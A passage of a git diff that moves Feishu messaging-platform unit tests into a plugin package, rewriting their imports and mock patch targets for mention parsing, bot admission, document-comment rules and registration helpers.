'@Alice' of a different user.""" - from gateway.platforms.feishu import _strip_edge_self_mentions, FeishuMentionRef + from hermes_agent_feishu.adapter import _strip_edge_self_mentions, FeishuMentionRef refs = [FeishuMentionRef(name="Al", open_id="ou_bot", is_self=True)] self.assertEqual(_strip_edge_self_mentions("@Alice hi", refs), "@Alice hi") @@ -4123,13 +4123,13 @@ class TestFeishuStripLeadingSelf(unittest.TestCase): class TestFeishuNormalizeText(unittest.TestCase): def test_renders_mention_with_display_name(self): - from gateway.platforms.feishu import _normalize_feishu_text, FeishuMentionRef + from hermes_agent_feishu.adapter import _normalize_feishu_text, FeishuMentionRef refs = {"@_user_1": FeishuMentionRef(name="Alice", open_id="ou_alice")} self.assertEqual(_normalize_feishu_text("@_user_1 hello", refs), "@Alice hello") def test_renders_self_mention_with_name(self): - from gateway.platforms.feishu import _normalize_feishu_text, FeishuMentionRef + from hermes_agent_feishu.adapter import _normalize_feishu_text, FeishuMentionRef refs = {"@_user_1": FeishuMentionRef(name="Hermes", open_id="ou_bot", is_self=True)} self.assertEqual( @@ -4138,23 +4138,23 @@ class TestFeishuNormalizeText(unittest.TestCase): ) def test_at_all_rendered_as_english_literal(self): - from gateway.platforms.feishu import _normalize_feishu_text + from hermes_agent_feishu.adapter import _normalize_feishu_text self.assertEqual(_normalize_feishu_text("@_all notice", None), "@all notice") def test_unknown_placeholder_degrades_to_space(self): - from gateway.platforms.feishu import _normalize_feishu_text + from hermes_agent_feishu.adapter import _normalize_feishu_text # No map: fall back to the old behavior (substitute with space, then collapse). self.assertEqual(_normalize_feishu_text("@_user_9 hello", None), "hello") def test_backward_compatible_without_map(self): - from gateway.platforms.feishu import _normalize_feishu_text + from hermes_agent_feishu.adapter import _normalize_feishu_text self.assertEqual(_normalize_feishu_text("hello world"), "hello world") def test_mention_for_missing_map_entry_degrades_to_space(self): - from gateway.platforms.feishu import _normalize_feishu_text, FeishuMentionRef + from hermes_agent_feishu.adapter import _normalize_feishu_text, FeishuMentionRef refs = {"@_user_1": FeishuMentionRef(name="Alice")} # @_user_2 has no entry — should degrade to a space (legacy behavior) @@ -4169,7 +4169,7 @@ class TestFeishuPostMentionParsing(unittest.TestCase): """Post .user_id is a placeholder ('@_user_N'); the real display name comes from the mentions_map lookup. Confirmed via live im.v1.message.get payload.""" - from gateway.platforms.feishu import parse_feishu_post_payload, FeishuMentionRef + from hermes_agent_feishu.adapter import parse_feishu_post_payload, FeishuMentionRef payload = { "en_us": { @@ -4188,7 +4188,7 @@ class TestFeishuPostMentionParsing(unittest.TestCase): def test_post_at_tag_falls_back_to_inline_user_name_when_map_misses(self): """When the mentions payload is missing a placeholder, fall back to the inline user_name in the tag itself.""" - from gateway.platforms.feishu import parse_feishu_post_payload + from hermes_agent_feishu.adapter import parse_feishu_post_payload payload = { "en_us": { @@ -4204,7 +4204,7 @@ class TestFeishuPostMentionParsing(unittest.TestCase): def test_post_at_all_tag_renders_as_at_all(self): """Post-format @everyone has user_id == '@_all' (confirmed via live im.v1.message.get). Rendered as literal '@all' regardless of map.""" - from gateway.platforms.feishu import parse_feishu_post_payload + from hermes_agent_feishu.adapter import parse_feishu_post_payload payload = { "en_us": { @@ -4220,7 +4220,7 @@ class TestFeishuPostMentionParsing(unittest.TestCase): class TestFeishuNormalizeWithMentions(unittest.TestCase): def test_text_message_renders_mention_by_name(self): - from gateway.platforms.feishu import normalize_feishu_message, _FeishuBotIdentity + from hermes_agent_feishu.adapter import normalize_feishu_message, _FeishuBotIdentity mention = SimpleNamespace( key="@_user_1", @@ -4239,7 +4239,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): self.assertFalse(normalized.mentions[0].is_self) def test_text_message_marks_bot_self_mention(self): - from gateway.platforms.feishu import normalize_feishu_message, _FeishuBotIdentity + from hermes_agent_feishu.adapter import normalize_feishu_message, _FeishuBotIdentity mention = SimpleNamespace( key="@_user_1", @@ -4257,7 +4257,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): self.assertEqual(normalized.text_content, "@Hermes /help") def test_text_message_at_all_surfaces_ref(self): - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message mention = SimpleNamespace(key="@_all", id=None, name="") normalized = normalize_feishu_message( @@ -4273,7 +4273,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): """Feishu SDK sometimes omits @_all from the mentions payload (confirmed via im.v1.message.get). The fallback scan on raw text must still yield an is_all ref so [Mentioned: @all] gets injected.""" - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="text", @@ -4286,7 +4286,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): def test_text_message_at_all_not_synthesized_if_absent_from_text(self): """No @_all in text → no synthetic ref even if mentions_map is empty.""" - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="text", @@ -4296,7 +4296,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): self.assertEqual(normalized.mentions, []) def test_text_message_without_mentions_param_is_backward_compatible(self): - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="text", @@ -4308,7 +4308,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): def test_post_message_marks_self_via_mentions_map_lookup(self): """Real Feishu post: + top-level mentions array resolves to open_id via placeholder lookup, not direct tag fields.""" - from gateway.platforms.feishu import normalize_feishu_message, _FeishuBotIdentity + from hermes_agent_feishu.adapter import normalize_feishu_message, _FeishuBotIdentity raw = json.dumps({ "en_us": { @@ -4338,7 +4338,7 @@ class TestFeishuNormalizeWithMentions(unittest.TestCase): class TestFeishuPostMentionsBot(unittest.TestCase): def _build_adapter(self, bot_open_id="ou_bot", bot_user_id="", bot_name=""): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = bot_open_id @@ -4347,7 +4347,7 @@ class TestFeishuPostMentionsBot(unittest.TestCase): return adapter def test_post_mentions_bot_uses_is_self_flag(self): - from gateway.platforms.feishu import FeishuMentionRef + from hermes_agent_feishu.adapter import FeishuMentionRef adapter = self._build_adapter() self.assertTrue( @@ -4368,7 +4368,7 @@ class TestFeishuPostMentionsBot(unittest.TestCase): class TestFeishuExtractMessageContent(unittest.TestCase): def _build_adapter(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = "ou_bot" @@ -4415,7 +4415,7 @@ class TestFeishuExtractMessageContent(unittest.TestCase): class TestFeishuProcessInboundMessage(unittest.TestCase): def _build_adapter(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = "ou_bot" @@ -4599,7 +4599,7 @@ class TestFeishuProcessInboundMessage(unittest.TestCase): class TestFeishuFetchMessageText(unittest.TestCase): def _build_adapter(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = "ou_bot" @@ -4635,7 +4635,7 @@ class TestFeishuFetchMessageText(unittest.TestCase): self.assertNotIn("[Mentioned:", result) def test_extract_text_from_raw_content_accepts_mentions_kwarg(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = "" @@ -4686,7 +4686,7 @@ class TestFeishuFetchMessageText(unittest.TestCase): """_build_mentions_map accepts the reply-history shape (id as str + id_type='open_id'). user_id id_type is not load-bearing for self detection — inbound mention payloads always include an open_id.""" - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity # open_id discriminator, non-self alice = SimpleNamespace(key="@_user_1", id="ou_alice", id_type="open_id", name="Alice") @@ -4705,7 +4705,7 @@ class TestFeishuMentionEndToEnd(unittest.TestCase): """High-level scenarios from the design spec — verify the full pipeline.""" def _build_adapter(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter.__new__(FeishuAdapter) adapter._bot_open_id = "ou_bot" diff --git a/tests/gateway/test_feishu_approval_buttons.py b/plugins/platforms/feishu/tests/test_feishu_approval_buttons.py similarity index 99% rename from tests/gateway/test_feishu_approval_buttons.py rename to plugins/platforms/feishu/tests/test_feishu_approval_buttons.py index e739d47b087..d9e5925d5cc 100644 --- a/tests/gateway/test_feishu_approval_buttons.py +++ b/plugins/platforms/feishu/tests/test_feishu_approval_buttons.py @@ -38,8 +38,8 @@ def _ensure_feishu_mocks(): _ensure_feishu_mocks() from gateway.config import PlatformConfig -import gateway.platforms.feishu as feishu_module -from gateway.platforms.feishu import FeishuAdapter +import hermes_agent_feishu as feishu_module +from hermes_agent_feishu.adapter import FeishuAdapter # --------------------------------------------------------------------------- diff --git a/tests/gateway/test_feishu_bot_admission.py b/plugins/platforms/feishu/tests/test_feishu_bot_admission.py similarity index 96% rename from tests/gateway/test_feishu_bot_admission.py rename to plugins/platforms/feishu/tests/test_feishu_bot_admission.py index 5ccc386d83e..cb2058785ce 100644 --- a/tests/gateway/test_feishu_bot_admission.py +++ b/plugins/platforms/feishu/tests/test_feishu_bot_admission.py @@ -7,7 +7,7 @@ from typing import Any import pytest -from tests.gateway.feishu_helpers import ( +from feishu_helpers import ( install_dedup_state, make_adapter_skeleton, make_message, @@ -29,7 +29,7 @@ from tests.gateway.feishu_helpers import ( ], ) def test_feishu_load_settings_populates_allow_bots(monkeypatch, env_value, expected): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -40,7 +40,7 @@ def test_feishu_load_settings_populates_allow_bots(monkeypatch, env_value, expec def test_feishu_load_settings_allow_bots_defaults_to_none(monkeypatch): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -52,7 +52,7 @@ def test_feishu_load_settings_allow_bots_defaults_to_none(monkeypatch): def test_feishu_load_settings_ignores_extra_allow_bots(monkeypatch): # extra is ignored — env is single source of truth (yaml is bridged to env). - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -63,7 +63,7 @@ def test_feishu_load_settings_ignores_extra_allow_bots(monkeypatch): def test_feishu_load_settings_falls_back_to_env_when_extra_missing(monkeypatch): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -76,7 +76,7 @@ def test_feishu_load_settings_falls_back_to_env_when_extra_missing(monkeypatch): def test_feishu_load_settings_warns_on_unknown_allow_bots(monkeypatch, caplog): import logging - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -99,7 +99,7 @@ def test_feishu_load_settings_warns_on_unknown_allow_bots(monkeypatch, caplog): ], ) def test_feishu_load_settings_require_mention(monkeypatch, env_value, extra, expected): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -113,7 +113,7 @@ def test_feishu_load_settings_require_mention(monkeypatch, env_value, extra, exp def test_feishu_load_settings_parses_per_group_require_mention(monkeypatch): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter monkeypatch.setenv("FEISHU_APP_ID", "cli_test") monkeypatch.setenv("FEISHU_APP_SECRET", "secret_test") @@ -134,7 +134,7 @@ def test_feishu_load_settings_parses_per_group_require_mention(monkeypatch): def test_sender_identity_collects_every_non_empty_id_variant(): - from gateway.platforms.feishu import _sender_identity + from hermes_agent_feishu.adapter import _sender_identity sender = SimpleNamespace( sender_id=SimpleNamespace(open_id="ou_x", user_id="", union_id="un_x"), @@ -143,21 +143,21 @@ def test_sender_identity_collects_every_non_empty_id_variant(): def test_sender_identity_handles_missing_sender_id(): - from gateway.platforms.feishu import _sender_identity + from hermes_agent_feishu.adapter import _sender_identity assert _sender_identity(SimpleNamespace()) == frozenset() @pytest.mark.parametrize("sender_type", ["bot", "app"]) def test_is_bot_sender_treats_bot_and_app_as_bot_origin(sender_type): - from gateway.platforms.feishu import _is_bot_sender + from hermes_agent_feishu.adapter import _is_bot_sender assert _is_bot_sender(SimpleNamespace(sender_type=sender_type)) is True @pytest.mark.parametrize("sender_type", ["user", "", None]) def test_is_bot_sender_rejects_non_bot_origin(sender_type): - from gateway.platforms.feishu import _is_bot_sender + from hermes_agent_feishu.adapter import _is_bot_sender assert _is_bot_sender(SimpleNamespace(sender_type=sender_type)) is False @@ -431,7 +431,7 @@ def test_admit_group_mention_checked_once_per_call(): def test_admit_per_group_require_mention_overrides_global(): - from gateway.platforms.feishu import FeishuGroupRule + from hermes_agent_feishu.adapter import FeishuGroupRule adapter = make_adapter_skeleton( bot_open_id="ou_self", require_mention=True, group_policy="open", @@ -516,7 +516,7 @@ def test_hydrate_bot_identity_populates_self_ids_from_bot_v3_info(monkeypatch): def test_resolve_sender_profile_uses_open_id_for_bot_name_lookup(): import asyncio - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = object.__new__(FeishuAdapter) adapter._client = object() @@ -570,7 +570,7 @@ def _group_case( def _group_rule(policy: str, **kwargs): - from gateway.platforms.feishu import FeishuGroupRule + from hermes_agent_feishu.adapter import FeishuGroupRule return FeishuGroupRule(policy=policy, **kwargs) diff --git a/tests/gateway/test_feishu_comment.py b/plugins/platforms/feishu/tests/test_feishu_comment.py similarity index 70% rename from tests/gateway/test_feishu_comment.py rename to plugins/platforms/feishu/tests/test_feishu_comment.py index 0a09481ac8c..00106c9397f 100644 --- a/tests/gateway/test_feishu_comment.py +++ b/plugins/platforms/feishu/tests/test_feishu_comment.py @@ -6,7 +6,7 @@ import unittest from types import SimpleNamespace from unittest.mock import AsyncMock, Mock, patch -from gateway.platforms.feishu_comment import ( +from hermes_agent_feishu.feishu_comment import ( parse_drive_comment_event, _ALLOWED_NOTICE_TYPES, _sanitize_comment_text, @@ -63,45 +63,45 @@ class TestEventFiltering(unittest.TestCase): def _run(self, coro): return asyncio.get_event_loop().run_until_complete(coro) - @patch("gateway.platforms.feishu_comment_rules.load_config") - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed") def test_self_reply_filtered(self, mock_allowed, mock_resolve, mock_load): """Events where from_open_id == self_open_id should be dropped.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event evt = _make_event(from_open_id="ou_bot", to_open_id="ou_bot") self._run(handle_drive_comment_event(Mock(), evt, self_open_id="ou_bot")) mock_load.assert_not_called() - @patch("gateway.platforms.feishu_comment_rules.load_config") - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed") def test_wrong_receiver_filtered(self, mock_allowed, mock_resolve, mock_load): """Events where to_open_id != self_open_id should be dropped.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event evt = _make_event(to_open_id="ou_other_bot") self._run(handle_drive_comment_event(Mock(), evt, self_open_id="ou_bot")) mock_load.assert_not_called() - @patch("gateway.platforms.feishu_comment_rules.load_config") - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed") def test_empty_to_open_id_filtered(self, mock_allowed, mock_resolve, mock_load): """Events with empty to_open_id should be dropped.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event evt = _make_event(to_open_id="") self._run(handle_drive_comment_event(Mock(), evt, self_open_id="ou_bot")) mock_load.assert_not_called() - @patch("gateway.platforms.feishu_comment_rules.load_config") - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed") def test_invalid_notice_type_filtered(self, mock_allowed, mock_resolve, mock_load): """Events with unsupported notice_type should be dropped.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event evt = _make_event(notice_type="resolve_comment") self._run(handle_drive_comment_event(Mock(), evt, self_open_id="ou_bot")) @@ -117,14 +117,14 @@ class TestAccessControlIntegration(unittest.TestCase): def _run(self, coro): return asyncio.get_event_loop().run_until_complete(coro) - @patch("gateway.platforms.feishu_comment_rules.has_wiki_keys", return_value=False) - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed", return_value=False) - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.has_wiki_keys", return_value=False) + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed", return_value=False) + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") def test_denied_user_no_side_effects(self, mock_load, mock_resolve, mock_allowed, mock_wiki_keys): """Denied user should not trigger typing reaction or agent.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event - from gateway.platforms.feishu_comment_rules import ResolvedCommentRule + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment_rules import ResolvedCommentRule mock_resolve.return_value = ResolvedCommentRule(True, "allowlist", frozenset(), "top") mock_load.return_value = Mock() @@ -136,14 +136,14 @@ class TestAccessControlIntegration(unittest.TestCase): # No API calls should be made for denied users client.request.assert_not_called() - @patch("gateway.platforms.feishu_comment_rules.has_wiki_keys", return_value=False) - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed", return_value=False) - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment_rules.has_wiki_keys", return_value=False) + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed", return_value=False) + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") def test_disabled_comment_skipped(self, mock_load, mock_resolve, mock_allowed, mock_wiki_keys): """Disabled comments should return immediately.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event - from gateway.platforms.feishu_comment_rules import ResolvedCommentRule + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment_rules import ResolvedCommentRule mock_resolve.return_value = ResolvedCommentRule(False, "allowlist", frozenset(), "top") mock_load.return_value = Mock() @@ -185,9 +185,9 @@ class TestWikiReverseLookup(unittest.TestCase): def _run(self, coro): return asyncio.get_event_loop().run_until_complete(coro) - @patch("gateway.platforms.feishu_comment._exec_request") + @patch("hermes_agent_feishu.feishu_comment._exec_request") def test_reverse_lookup_success(self, mock_exec): - from gateway.platforms.feishu_comment import _reverse_lookup_wiki_token + from hermes_agent_feishu.feishu_comment import _reverse_lookup_wiki_token mock_exec.return_value = (0, "Success", { "node": {"node_token": "WIKI_TOKEN_123", "obj_token": "docx_abc"}, @@ -201,37 +201,37 @@ class TestWikiReverseLookup(unittest.TestCase): self.assertEqual(query_dict["token"], "docx_abc") self.assertEqual(query_dict["obj_type"], "docx") - @patch("gateway.platforms.feishu_comment._exec_request") + @patch("hermes_agent_feishu.feishu_comment._exec_request") def test_reverse_lookup_not_wiki(self, mock_exec): - from gateway.platforms.feishu_comment import _reverse_lookup_wiki_token + from hermes_agent_feishu.feishu_comment import _reverse_lookup_wiki_token mock_exec.return_value = (131001, "not found", {}) result = self._run(_reverse_lookup_wiki_token(Mock(), "docx", "docx_abc")) self.assertIsNone(result) - @patch("gateway.platforms.feishu_comment._exec_request") + @patch("hermes_agent_feishu.feishu_comment._exec_request") def test_reverse_lookup_service_error(self, mock_exec): - from gateway.platforms.feishu_comment import _reverse_lookup_wiki_token + from hermes_agent_feishu.feishu_comment import _reverse_lookup_wiki_token mock_exec.return_value = (500, "internal error", {}) result = self._run(_reverse_lookup_wiki_token(Mock(), "docx", "docx_abc")) self.assertIsNone(result) - @patch("gateway.platforms.feishu_comment._reverse_lookup_wiki_token", new_callable=AsyncMock) - @patch("gateway.platforms.feishu_comment_rules.has_wiki_keys", return_value=True) - @patch("gateway.platforms.feishu_comment_rules.is_user_allowed", return_value=True) - @patch("gateway.platforms.feishu_comment_rules.resolve_rule") - @patch("gateway.platforms.feishu_comment_rules.load_config") - @patch("gateway.platforms.feishu_comment.add_comment_reaction", new_callable=AsyncMock) - @patch("gateway.platforms.feishu_comment.batch_query_comment", new_callable=AsyncMock) - @patch("gateway.platforms.feishu_comment.query_document_meta", new_callable=AsyncMock) + @patch("hermes_agent_feishu.feishu_comment._reverse_lookup_wiki_token", new_callable=AsyncMock) + @patch("hermes_agent_feishu.feishu_comment_rules.has_wiki_keys", return_value=True) + @patch("hermes_agent_feishu.feishu_comment_rules.is_user_allowed", return_value=True) + @patch("hermes_agent_feishu.feishu_comment_rules.resolve_rule") + @patch("hermes_agent_feishu.feishu_comment_rules.load_config") + @patch("hermes_agent_feishu.feishu_comment.add_comment_reaction", new_callable=AsyncMock) + @patch("hermes_agent_feishu.feishu_comment.batch_query_comment", new_callable=AsyncMock) + @patch("hermes_agent_feishu.feishu_comment.query_document_meta", new_callable=AsyncMock) def test_wiki_lookup_triggered_when_no_exact_match( self, mock_meta, mock_batch, mock_reaction, mock_load, mock_resolve, mock_allowed, mock_wiki_keys, mock_lookup, ): """Wiki reverse lookup should fire when rule falls to wildcard/top and wiki keys exist.""" - from gateway.platforms.feishu_comment import handle_drive_comment_event - from gateway.platforms.feishu_comment_rules import ResolvedCommentRule + from hermes_agent_feishu.feishu_comment import handle_drive_comment_event + from hermes_agent_feishu.feishu_comment_rules import ResolvedCommentRule # First resolve returns wildcard (no exact match), second returns exact wiki match mock_resolve.side_effect = [ diff --git a/tests/gateway/test_feishu_comment_rules.py b/plugins/platforms/feishu/tests/test_feishu_comment_rules.py similarity index 94% rename from tests/gateway/test_feishu_comment_rules.py rename to plugins/platforms/feishu/tests/test_feishu_comment_rules.py index baef7a54744..a64d81fcf3c 100644 --- a/tests/gateway/test_feishu_comment_rules.py +++ b/plugins/platforms/feishu/tests/test_feishu_comment_rules.py @@ -8,7 +8,7 @@ import unittest from pathlib import Path from unittest.mock import patch -from gateway.platforms.feishu_comment_rules import ( +from hermes_agent_feishu.feishu_comment_rules import ( CommentsConfig, CommentDocumentRule, ResolvedCommentRule, @@ -195,7 +195,7 @@ class TestIsUserAllowed(unittest.TestCase): def test_pairing_checks_store(self): rule = ResolvedCommentRule(True, "pairing", frozenset(), "top") with patch( - "gateway.platforms.feishu_comment_rules._load_pairing_approved", + "hermes_agent_feishu.feishu_comment_rules._load_pairing_approved", return_value={"ou_approved"}, ): self.assertTrue(is_user_allowed(rule, "ou_approved")) @@ -256,8 +256,8 @@ class TestLoadConfig(unittest.TestCase): json.dump(raw, f) path = Path(f.name) try: - with patch("gateway.platforms.feishu_comment_rules.RULES_FILE", path): - with patch("gateway.platforms.feishu_comment_rules._rules_cache", _MtimeCache(path)): + with patch("hermes_agent_feishu.feishu_comment_rules.RULES_FILE", path): + with patch("hermes_agent_feishu.feishu_comment_rules._rules_cache", _MtimeCache(path)): cfg = load_config() self.assertTrue(cfg.enabled) self.assertEqual(cfg.policy, "allowlist") @@ -269,7 +269,7 @@ class TestLoadConfig(unittest.TestCase): path.unlink() def test_load_missing_file_returns_defaults(self): - with patch("gateway.platforms.feishu_comment_rules._rules_cache", _MtimeCache(Path("/nonexistent"))): + with patch("hermes_agent_feishu.feishu_comment_rules._rules_cache", _MtimeCache(Path("/nonexistent"))): cfg = load_config() self.assertTrue(cfg.enabled) self.assertEqual(cfg.policy, "pairing") @@ -283,9 +283,9 @@ class TestPairingStore(unittest.TestCase): self._pairing_file = Path(self._tmpdir) / "pairing.json" with open(self._pairing_file, "w") as f: json.dump({"approved": {}}, f) - self._patcher_file = patch("gateway.platforms.feishu_comment_rules.PAIRING_FILE", self._pairing_file) + self._patcher_file = patch("hermes_agent_feishu.feishu_comment_rules.PAIRING_FILE", self._pairing_file) self._patcher_cache = patch( - "gateway.platforms.feishu_comment_rules._pairing_cache", + "hermes_agent_feishu.feishu_comment_rules._pairing_cache", _MtimeCache(self._pairing_file), ) self._patcher_file.start() diff --git a/tests/gateway/test_feishu_onboard.py b/plugins/platforms/feishu/tests/test_feishu_onboard.py similarity index 75% rename from tests/gateway/test_feishu_onboard.py rename to plugins/platforms/feishu/tests/test_feishu_onboard.py index 80a9c826031..667b68bdd57 100644 --- a/tests/gateway/test_feishu_onboard.py +++ b/plugins/platforms/feishu/tests/test_feishu_onboard.py @@ -18,18 +18,18 @@ def _mock_urlopen(response_data, status=200): class TestPostRegistration: """Tests for the low-level HTTP helper.""" - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_post_registration_returns_parsed_json(self, mock_urlopen_fn): - from gateway.platforms.feishu import _post_registration + from hermes_agent_feishu.adapter import _post_registration mock_urlopen_fn.return_value = _mock_urlopen({"nonce": "abc", "supported_auth_methods": ["client_secret"]}) result = _post_registration("https://accounts.feishu.cn", {"action": "init"}) assert result["nonce"] == "abc" assert "client_secret" in result["supported_auth_methods"] - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_post_registration_sends_form_encoded_body(self, mock_urlopen_fn): - from gateway.platforms.feishu import _post_registration + from hermes_agent_feishu.adapter import _post_registration mock_urlopen_fn.return_value = _mock_urlopen({}) _post_registration("https://accounts.feishu.cn", {"action": "init", "key": "val"}) @@ -44,9 +44,9 @@ class TestPostRegistration: class TestInitRegistration: """Tests for the init step.""" - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_init_succeeds_when_client_secret_supported(self, mock_urlopen_fn): - from gateway.platforms.feishu import _init_registration + from hermes_agent_feishu.adapter import _init_registration mock_urlopen_fn.return_value = _mock_urlopen({ "nonce": "abc", @@ -54,9 +54,9 @@ class TestInitRegistration: }) _init_registration("feishu") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_init_raises_when_client_secret_not_supported(self, mock_urlopen_fn): - from gateway.platforms.feishu import _init_registration + from hermes_agent_feishu.adapter import _init_registration mock_urlopen_fn.return_value = _mock_urlopen({ "nonce": "abc", @@ -65,9 +65,9 @@ class TestInitRegistration: with pytest.raises(RuntimeError, match="client_secret"): _init_registration("feishu") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_init_uses_lark_url_for_lark_domain(self, mock_urlopen_fn): - from gateway.platforms.feishu import _init_registration + from hermes_agent_feishu.adapter import _init_registration mock_urlopen_fn.return_value = _mock_urlopen({ "nonce": "abc", @@ -82,9 +82,9 @@ class TestInitRegistration: class TestBeginRegistration: """Tests for the begin step.""" - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_begin_returns_device_code_and_qr_url(self, mock_urlopen_fn): - from gateway.platforms.feishu import _begin_registration + from hermes_agent_feishu.adapter import _begin_registration mock_urlopen_fn.return_value = _mock_urlopen({ "device_code": "dc_123", @@ -101,9 +101,9 @@ class TestBeginRegistration: assert result["interval"] == 5 assert result["expire_in"] == 600 - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.urlopen") def test_begin_sends_correct_archetype(self, mock_urlopen_fn): - from gateway.platforms.feishu import _begin_registration + from hermes_agent_feishu.adapter import _begin_registration mock_urlopen_fn.return_value = _mock_urlopen({ "device_code": "dc_123", @@ -122,10 +122,10 @@ class TestBeginRegistration: class TestPollRegistration: """Tests for the poll step.""" - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + 